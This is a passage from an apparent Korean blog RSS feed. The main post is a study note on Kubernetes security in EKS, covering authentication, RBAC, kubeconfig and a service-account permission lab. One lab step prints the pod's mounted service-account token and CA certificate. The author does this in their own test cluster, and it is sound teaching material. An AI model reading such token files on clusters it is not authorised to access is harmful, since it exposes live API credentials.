this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1908&quot; height=&quot;664&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.18.52.png&quot; data-origin-width=&quot;1908&quot; data-origin-height=&quot;664&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[&lt;span data-token-index=&quot;1&quot;&gt;myeks-bastion-2&lt;/span&gt;]에서 &lt;span data-token-index=&quot;3&quot;&gt;testuser&lt;/span&gt;로 확인 : admin 권한으로는 delete 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712837977527&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# testuser 정보 확인
aws sts get-caller-identity --query Arn
kubectl whoami

# kubectl 시도
kubectl get pod -v6
kubectl api-resources -v5
kubectl auth can-i get pods --all-namespaces
kubectl auth can-i delete pods --all-namespaces&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.19.50.png&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;68&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boywig/btsGyD3Zig6/tK4ZXwgcVyJ264EKAWL7cK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boywig/btsGyD3Zig6/tK4ZXwgcVyJ264EKAWL7cK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boywig/btsGyD3Zig6/tK4ZXwgcVyJ264EKAWL7cK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fboywig%2FbtsGyD3Zig6%2FtK4ZXwgcVyJ264EKAWL7cK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1320&quot; height=&quot;68&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.19.50.png&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;68&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/14</guid>
      <comments>https://imxsuu.tistory.com/14#entry14comment</comments>
      <pubDate>Mon, 8 Apr 2024 15:43:52 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] K8S Security</title>
      <link>https://imxsuu.tistory.com/13</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;K8S(API 접근) 인증(&lt;span style=&quot;color: #333333;&quot;&gt;Authentication&lt;/span&gt;)/인가&lt;span style=&quot;color: #333333;&quot;&gt;(Authorization)&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;K8S Admission Controller&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;K8S Admission Controller는 클러스터 사용 방법을 관리하고 시행하는 플러그인입니다. API 요청을 가로채고(인증된) 요청 개체를 변경하거나 요청을 모두 거부할 수 있는 일종의 Gateway로 생각할 수 있습니다. 승인 제어 프로세스는 두 단계로 구성됩니다. 즉, 변경(mutating) 단계가 먼저 실행되고 그 다음 검증(validating) 단계가 실행됩니다. 결과적으로 Admission Controller는 컨트롤러를 변경하거나 유효성을 검사하는 역할을 하거나 두 가지의 조합으로 작동할 수 있습니다. 예를 들어 LimitRanger  Admission Controller는 기본 리소스 요청 및 제한(mutating 단계)으로 파드를 늘릴 수 있을 뿐만 아니라 명시적으로 설정된 리소스 요구 사항이 있는 파드가 LimitRange 객체에 지정된 네임스페이스별 제한을 초과하지 않는지 확인할 수 있습니다(검증 단계).&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1278&quot; data-origin-height=&quot;476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qDLKP/btsGpXvYjo1/QwAuKsETZcKCirFElIXmK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qDLKP/btsGpXvYjo1/QwAuKsETZcKCirFElIXmK1/img.png&quot; data-alt=&quot;출처:https://kubernetes.io/blog/2019/03/21/a-guide-to-kubernetes-admission-controllers/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qDLKP/btsGpXvYjo1/QwAuKsETZcKCirFElIXmK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqDLKP%2FbtsGpXvYjo1%2FQwAuKsETZcKCirFElIXmK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1278&quot; height=&quot;476&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1278&quot; data-origin-height=&quot;476&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처:https://kubernetes.io/blog/2019/03/21/a-guide-to-kubernetes-admission-controllers/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서비스 어카운트(Service Account) : AWS의 User와 같은 개념입니다. 쿠버네티스는 이를 통해 사용자를 식별합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API 서버 사용&lt;/b&gt; : kubectl(config, 다수 클러스터 관리 가능), 서비스 어카운트, https(X.509 Client Certs) &lt;a href=&quot;https://youglish.com/pronounce/x.509/english&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;i&gt; X.509 발음 참조&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API 서버 접근 과정&lt;/b&gt; : &lt;b&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;인증(Authentication) &amp;rarr; 인가(Authorization) &amp;rarr; Admission Control&lt;/span&gt;&lt;/b&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kHeX1/btsGp0TONy5/OayF3Pf0uMx3eKui8FshDk/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1510&quot; data-origin-height=&quot;770&quot; data-filename=&quot;Untitled.png&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;인증(Authentication)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;&lt;a href=&quot;https://coffeewhale.com/kubernetes/authentication/x509/2020/05/02/auth01/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;K8S 인증(Authentication) 방법&lt;/a&gt;은 다음과 같이 크게 5종류로 나눠볼 수 있습니다. 인증과정은 쿠버네티스&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: left;&quot;&gt;&amp;nbsp;내부에 인증서를 저장하지 않고 &lt;/span&gt;K8S API Server에서 이루어지기 때문에 쿠버네티스 체계에 종속적이지 않고&lt;span style=&quot;background-color: #ffffff; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: left;&quot;&gt; 다양한 인증체계를 사용할 수 있습니다. 그 중에서도 X.509 방식을 자세히 살펴봅니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #ffffff; color: #000000; text-align: left;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;X.509 Client Certs&lt;/b&gt;: X.509 인증서를 이용한 상호 TLS 인증&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://coffeewhale.com/kubernetes/authentication/http-auth/2020/05/03/auth02/&quot;&gt;HTTP Authentication&lt;/a&gt;: HTTP Authentication을 이용한 사용자 인증&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://coffeewhale.com/kubernetes/authentication/oidc/2020/05/04/auth03/&quot;&gt;OpenID Connect&lt;/a&gt;: Google OAuth와 같은 인증 provider를 이용한 인증&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://coffeewhale.com/kubernetes/authentication/webhook/2020/05/05/auth04/&quot;&gt;Webhook 인증&lt;/a&gt;: Webhook 인증서버를 통한 사용자 인증&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://coffeewhale.com/kubernetes/authentication/proxy/2020/05/06/auth05/&quot;&gt;Proxy Auth&lt;/a&gt;: Proxy 서버를 통한 대리 인증&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;X.509 Client Certs&lt;/b&gt; : kubeconfig에 &lt;b&gt;CA crt&lt;/b&gt;(발급 기관 인증서), &lt;b&gt;Client crt&lt;/b&gt;(클라이언트 인증서), &lt;b&gt;Client key&lt;/b&gt;(클라이언트 개인키) 를 통해 인증해야 합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;kubectl&lt;/b&gt; : &lt;b&gt;contexts&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;에 클러스터와 유저 및&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;인증서&lt;/b&gt;/&lt;b&gt;키&lt;/b&gt;를 통해&amp;nbsp;여러 클러스터(&lt;b&gt;kubeconfig&lt;/b&gt;) 관리가 가능합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Service Account&lt;/b&gt; : 기본 서비스 어카운트(default)와 시크릿(CA crt 와 token)을 통해 사용자를 식별합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1533&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhL8Jb/btsGsjRJs18/TE9yS5pusbciWtdPEjDBGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhL8Jb/btsGsjRJs18/TE9yS5pusbciWtdPEjDBGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhL8Jb/btsGsjRJs18/TE9yS5pusbciWtdPEjDBGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhL8Jb%2FbtsGsjRJs18%2FTE9yS5pusbciWtdPEjDBGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1533&quot; height=&quot;758&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1533&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인가(Authorization)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.handongbee.com/posts/%EC%9D%B8%EA%B0%80(Authorization)/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;인가 방법&lt;/a&gt;에는 다음과 같이 4가지가 있습니다. 그 중에서도 RBAC을 중점적으로 살펴봅니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #ffffff; color: #34343c; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/rbac/&quot;&gt;Role Based Access Control&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/abac/&quot;&gt;Attribute Based Access Control&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/node/&quot;&gt;Node Authorization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/webhook/&quot;&gt;Webhook Authorization&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;RBAC&lt;/b&gt; : 역할 기반의 권한 관리, 사용자와 역할을 별개로 선언 후 두 가지를 조합(binding)해서 사용자에게 권한을 부여하여 kubectl or API로 관리하는 방식입니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Namespace/Cluster - Role/ClusterRole, RoleBinding/ClusterRoleBinding, Service Account&lt;/li&gt;
&lt;li&gt;Role(롤) - (RoleBinding 롤 바인딩) - Service Account(서비스 어카운트) : 롤 바인딩은 롤과 서비스 어카운트를 연결합니다.&lt;/li&gt;
&lt;li&gt;Role(네임스페이스내 자원의 권한) vs ClusterRole(클러스터 수준의 자원의 권한)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1544&quot; data-origin-height=&quot;756&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kLENG/btsGtTdTx5m/U7ffu3QI5BQWkH8rOkF6ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kLENG/btsGtTdTx5m/U7ffu3QI5BQWkH8rOkF6ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kLENG/btsGtTdTx5m/U7ffu3QI5BQWkH8rOkF6ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkLENG%2FbtsGtTdTx5m%2FU7ffu3QI5BQWkH8rOkF6ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1544&quot; height=&quot;756&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1544&quot; data-origin-height=&quot;756&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;.kube/config 파일 내용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;clusters : kubectl이 사용할 쿠버네티스 API 서버의 접속 정보 목록. 원격의 쿠버네티스 API 서버의 주소를 추가해 사용 가능합니다.&lt;/li&gt;
&lt;li&gt;users : 쿠버네티스의 API 서버에 접속하기 위한 사용자 인증 정보 목록. (서비스 어카운트의 토큰, 혹은 인증서의 데이터 등)&lt;/li&gt;
&lt;li&gt;contexts : cluster 항목과 users 항목에 정의된 값을 조합해 최종적으로 사용할 쿠버네티스 클러스터의 정보(컨텍스트)를 설정.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;예를 들어 clusters 항목에 클러스터 A,B 가 정의돼 있고, users 항목에 사용자 a,b 가 정의돼 있다면 cluster A + user a 를 조합해, 'cluster A 에 user a 로 인증해 쿠버네티스를 사용한다' 라는 새로운 컨텍스트를 정의할 수 있습니다.&lt;/li&gt;
&lt;li&gt;kubectl 을 사용하려면 여러 개의 컨텍스트 중 하나를 선택해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712543901615&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat .kube/config&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;테스트&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;테스트 환경&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;725&quot; data-origin-height=&quot;524&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kBKnd/btsGtSMPmeL/a40V0u0CCentYkU76Kadpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kBKnd/btsGtSMPmeL/a40V0u0CCentYkU76Kadpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kBKnd/btsGtSMPmeL/a40V0u0CCentYkU76Kadpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkBKnd%2FbtsGtSMPmeL%2Fa40V0u0CCentYkU76Kadpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;725&quot; height=&quot;524&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;725&quot; data-origin-height=&quot;524&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쿠버네티스에 사용자를 위한 서비스 어카운트(Service Account, SA)를 생성 : dev-k8s, infra-k8s&lt;/li&gt;
&lt;li&gt;사용자별 다른 권한(Role, 인가) : dev-k8s(dev-team 네임스페이스 내 모든 동작) , infra-k8s(dev-team 네임스페이스 내 모든 동작)&lt;/li&gt;
&lt;li&gt;각각 별도의 kubectl 파드를 생성하고, 해당 파드에 SA 를 지정하여 권한에 대한 테스트 진행&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;네임스페이스와 서비스 어카운트 생성 후 확인&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파드 기동 시 서비스 어카운트 한 개가 할당되며, 서비스 어카운트 기반으로 인증/인가가 진행됩니다. 미지정 시 기본 서비스 어카운트가 할당됩니다.&lt;/li&gt;
&lt;li&gt;1.24 이후 버전부터 서비스 어카운트에 자동으로 시크릿이 생성되지 않아 직접 생성해 주어야 합니다. (1.23 이전 버전들은 서비스 어카운트에 자동 생성된 시크릿에 저장된 토큰으로 쿠버네티스 API에 대한 인증 정보로 사용할 수 있었습니다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712544438408&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 네임스페이스(Namespace, NS) 생성 및 확인
kubectl create namespace dev-team
kubectl create ns infra-team

# 네임스페이스 확인
kubectl get ns

# 네임스페이스에 각각 서비스 어카운트 생성 : serviceaccounts 약자(=sa)
kubectl create sa dev-k8s -n dev-team
kubectl create sa infra-k8s -n infra-team

# 서비스 어카운트 정보 확인
kubectl get sa -n dev-team
kubectl get sa dev-k8s -n dev-team -o yaml | yh

kubectl get sa -n infra-team
kubectl get sa infra-k8s -n infra-team -o yaml | yh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;서비스 어카운트를 지정하여 파드 생성 후 권한 테스트&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;301&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQQNzY/btsGqQJILxN/GcE1sBo7ZxwQxSYdkCTf40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQQNzY/btsGqQJILxN/GcE1sBo7ZxwQxSYdkCTf40/img.png&quot; data-alt=&quot;https://kubetm.github.io/practice/intermediate/object-authentication/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQQNzY/btsGqQJILxN/GcE1sBo7ZxwQxSYdkCTf40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQQNzY%2FbtsGqQJILxN%2FGcE1sBo7ZxwQxSYdkCTf40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;301&quot; height=&quot;526&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;301&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://kubetm.github.io/practice/intermediate/object-authentication/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각의 네임스페이스에 kubectl 컨테이너 이미지를 사용하여 kubectl 파드를 생성합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712544740830&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 각각 네임스페이스에 kubectl 파드 생성 - 컨테이너이미지
# docker run --rm --name kubectl -v /path/to/your/kube/config:/.kube/config bitnami/kubectl:latest
cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: dev-kubectl
  namespace: dev-team
spec:
  serviceAccountName: dev-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: [&quot;tail&quot;]
    args: [&quot;-f&quot;, &quot;/dev/null&quot;]
  terminationGracePeriodSeconds: 0
EOF

cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: infra-kubectl
  namespace: infra-team
spec:
  serviceAccountName: infra-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: [&quot;tail&quot;]
    args: [&quot;-f&quot;, &quot;/dev/null&quot;]
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod -A
kubectl get pod -o dev-kubectl -n dev-team -o yaml
kubectl get pod -o infra-kubectl -n infra-team -o yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-08 오전 11.55.03.png&quot; data-origin-width=&quot;884&quot; data-origin-height=&quot;65&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n8rLz/btsGrVXQqX9/WLGxHANZ27Jkn2f8CqdkJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n8rLz/btsGrVXQqX9/WLGxHANZ27Jkn2f8CqdkJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n8rLz/btsGrVXQqX9/WLGxHANZ27Jkn2f8CqdkJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn8rLz%2FbtsGrVXQqX9%2FWLGxHANZ27Jkn2f8CqdkJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;884&quot; height=&quot;65&quot; data-filename=&quot;스크린샷 2024-04-08 오전 11.55.03.png&quot; data-origin-width=&quot;884&quot; data-origin-height=&quot;65&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드에 적용된 서비스 어카운트 및 토큰과 인증서 정보를 파드에 직접 접속하여 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712544917670&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 파드에 기본 적용되는 서비스 어카운트(토큰) 정보 확인
kubectl exec -it dev-kubectl -n dev-team -- ls /run/secrets/kubernetes.io/serviceaccount
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/token
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/namespace
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/ca.crt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각의 파드에 접속하여 권한 테스트를 진행해보면 해당 서비스 어카운트로는 파드의 리소스를 접근할 수 없어 에러가 발생합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712544963916&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods # kubectl exec -it dev-kubectl -n dev-team -- kubectl get pods 와 동일한 실행 명령이다!
k1 run nginx --image nginx:1.20-alpine
k1 get pods -n kube-system

k2 get pods # kubectl exec -it infra-kubectl -n infra-team -- kubectl get pods 와 동일한 실행 명령이다!
k2 run nginx --image nginx:1.20-alpine
k2 get pods -n kube-system&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-08 오후 12.00.08.png&quot; data-origin-width=&quot;1407&quot; data-origin-height=&quot;122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqjSyf/btsGqhnzDBf/vDEjwu3tAF9xqwHCzna8OK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqjSyf/btsGqhnzDBf/vDEjwu3tAF9xqwHCzna8OK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqjSyf/btsGqhnzDBf/vDEjwu3tAF9xqwHCzna8OK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqjSyf%2FbtsGqhnzDBf%2FvDEjwu3tAF9xqwHCzna8OK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 